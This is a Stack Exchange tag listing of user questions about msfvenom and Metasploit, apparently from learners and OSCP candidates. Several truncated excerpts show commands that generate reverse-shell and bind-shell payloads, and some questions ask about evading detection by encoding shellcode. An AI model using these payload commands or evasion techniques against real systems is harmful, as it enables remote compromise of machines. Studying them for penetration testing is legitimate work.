Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [msfvenom]

The tag has no usage guidance.

-1
votes
1answer
41 views

msfvenom produces different op codes when format is given with 'c' instead of 'python'

I still do not understand the msfvenom format ( -f ) parameter regarding the resulting op codes. I do not understand why a payload consists of different op codes when the format ( -f ) is different, ...
0
votes
2answers
45 views

is encoding the same as encryption for malware obfuscation?

I have been learning about hiding and executing msfvenom created shellcode and came to a technique where we xor the shellcode and when executing we reverse it.Would it be the same if i just encrypt it ...
0
votes
0answers
66 views

Msfvenom : Create Windows payload that asks for admin privileges automatically

So I can create a Windows payload with msfvenom with a simple command, for example : msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.58.109 LPORT=4485 EXITFUNC=...
0
votes
1answer
104 views

Reverse shell breaking instantly after connection has been established

currently I'm preparing for OSCP and right know I'm working on reverse shells. Using msfconsole it's not problem to get a meterpreter-session, however meterpreter is not allowed during the exam so I ...
1
vote
1answer
223 views

Windows 64-bit Reverse TCP Shell not working

I am sending shellcode to a 64-bit binary running on a Windows machine. This binary, copies the shellcode to an executable region of memory and executes it. I am generating the shellcode using ...
0
votes
1answer
52 views

How to response to Meterpreter HTTP Request sent from client

First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
0
votes
1answer
64 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
0
votes
1answer
96 views

Warning generating OS X payload with msfvenom

I am trying to generate a reverse shell payload using msfvenom. When I run msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho which I found on ...
1
vote
1answer
226 views

What does windows meterpreter reverse TCP Shellcode do?

I have just started learning msfconsole and I have used windows/meterpreter/reverse_tcp . I know this establishes a connection from the target system to our attacking system . However I would like ...
0
votes
0answers
373 views

How to remove the FatRat (Kali Linux) generated payload from Android Device(Lollipop 5.1)

I have created a Payload (.apk) by FatRat (Kali Linux) and have installed it on an Android device (Lollipop 5.1). Now I want to remove the installed application from my device but could not been able ...
2
votes
1answer
393 views

Metasploit MsfVenom - Payload binds shell, but unable to spawn it with netcat

Running a SEH BoF exploit script that contains a payload that is generated from msfvenom as such: msfvenom --payload windows/shell/bind_tcp --format py --arch x86 --platform windows --bad-chars "\...
4
votes
1answer
443 views

Custom EXE Template Metasploit 64-bit ASM PE Syntax

I asked this previously then deleted since I think I asked the question without gearing it towards msfvenom and custom EXE templates. There is a 64-bit Windows PE written in assembly that ships with ...
0
votes
1answer
280 views

Msfvenom encode with no payload

is it possible to just encode an elf executable using the encoders and still end up with a working 'packed' executable? or am i misunderstanding what an encoder is supposed to do.
1
vote
0answers
368 views

reverse_tcp not working with tor

I have the following situation. I have configured proxychain with tor. I collect my IP address (provided by tor) from whaismyip_dot_com and set that ip as LHOST and used my localport as LPORT in ...
1
vote
1answer
1k views

When to send exe file to target system in order to exploit via metasploit

I am newbie in Metasploit. Still learning the basics but I'm confused and would like some help. 1) - Previously I learnt how to simply exploit any O.S. vulnerability using meterpreter. We can send ...
1
vote
1answer
141 views

msfvenom incompatible character encodings error

I try to create payload for adding user to local administrators group, but the server language is Russian so I should add my local user to Администраторы group. When I try to create payload using ...
6
votes
1answer
4k views

Difference between “windows/shell_reverse_tcp” and “windows/shell/reverse_tcp” Exit Behavior

The above 2 Metasploit payloads are used to create a reverse shell from one system to another. The difference between them is clearly explained here https://github.com/rapid7/metasploit-framework/wiki/...
1
vote
1answer
406 views

Practical example of pentesting using msfvenom

I'm updating a small article that is out of date, but I don't know a lot about pentesting. The framework is mfsvenom and the code is: msfencode -x calc.exe -t loop-vbs -o final.vbs Before it was ...
5
votes
1answer
7k views

Encode an executable file multiple time using MSF venom

I am trying multiple encode on same the executable file, but confused with the syntax. The Problem: To encode any executable file we can use the syntax: msfvenom -p windows/meterpreter/reverse_tcp ...
1
vote
1answer
281 views

what does “Rank” mean in msfvenom?

In the screen output below from msfvenom when listing all supported encoders with -l encoders; what does "Rank" mean exactly?